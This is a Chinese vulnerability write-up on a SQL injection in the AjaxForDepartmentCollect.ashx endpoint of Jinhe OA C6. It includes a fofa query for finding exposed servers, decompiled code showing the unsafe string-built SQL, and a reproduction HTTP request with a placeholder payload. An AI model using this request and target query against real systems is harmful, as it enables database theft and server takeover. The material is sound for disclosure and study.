漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AjaxForDepartmentCollect.ashx 接口处存在SQL注入漏洞，攻击者除了可以利用SQL注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 AjaxForDepartmentCollect.ashx 的源码，在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 AjaxForDepartmentCollect 的处理逻辑

根据strType的值进入不同的处理流程

当 strType=getHistoryList 时，strDeptId、strCollectType被带入GetCollectHistory方法

protected string GetCollectHistory(string strYear, string strDepID, string strCollectType)
{
  string str = string.Empty;
  DataTable collectList = this.bcDao.GetCollectList(strYear, strDepID, strCollectType);

跟进GetCollectList方法

public DataTable GetCollectList(string strYear, string strDepID, string strCollectType)
{
  if (string.op_Equality(strCollectType, "Department"))
    this.strSql = $"select c.CollectYear,c.CollectTime,c.CollectMoney,d.DeptName,c.Subjects,c.CreateDate ,c.SubRemark\r\n                        from CollectList c \r\n                        left join Department d on c.DeptID = d.DeptID\r\n                        where c.CollectState = 0 and c.CollectYear = {strYear} and c.DeptID = {strDepID} order by c.CreateDate";
  if (string.op_Equality(strCollectType, "Center"))
    this.strSql = $"select * from CollectList c\r\n                        where c.CollectState = 0 and c.CollectType = 'Department' and c.CollectYear = {strYear}and c.DeptID in (select DeptID from Department where DeptParentID = {strDepID})";
  return this.db.ExecSQLReDataTable(this.strSql);
}

当strCollectType=Department或Center时，strYear和strDeptId被直接拼接到SQL语句中执行，造成SQL注入漏洞。

漏洞复现

POST /c6/JHSoft.Web.CostControl/Collect/AjaxForDepartmentCollect.ashx HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

strType=getHistoryList&strDeptId=SQLI_POC&strCollectType=Department&strYear=2012

成功延时 4 秒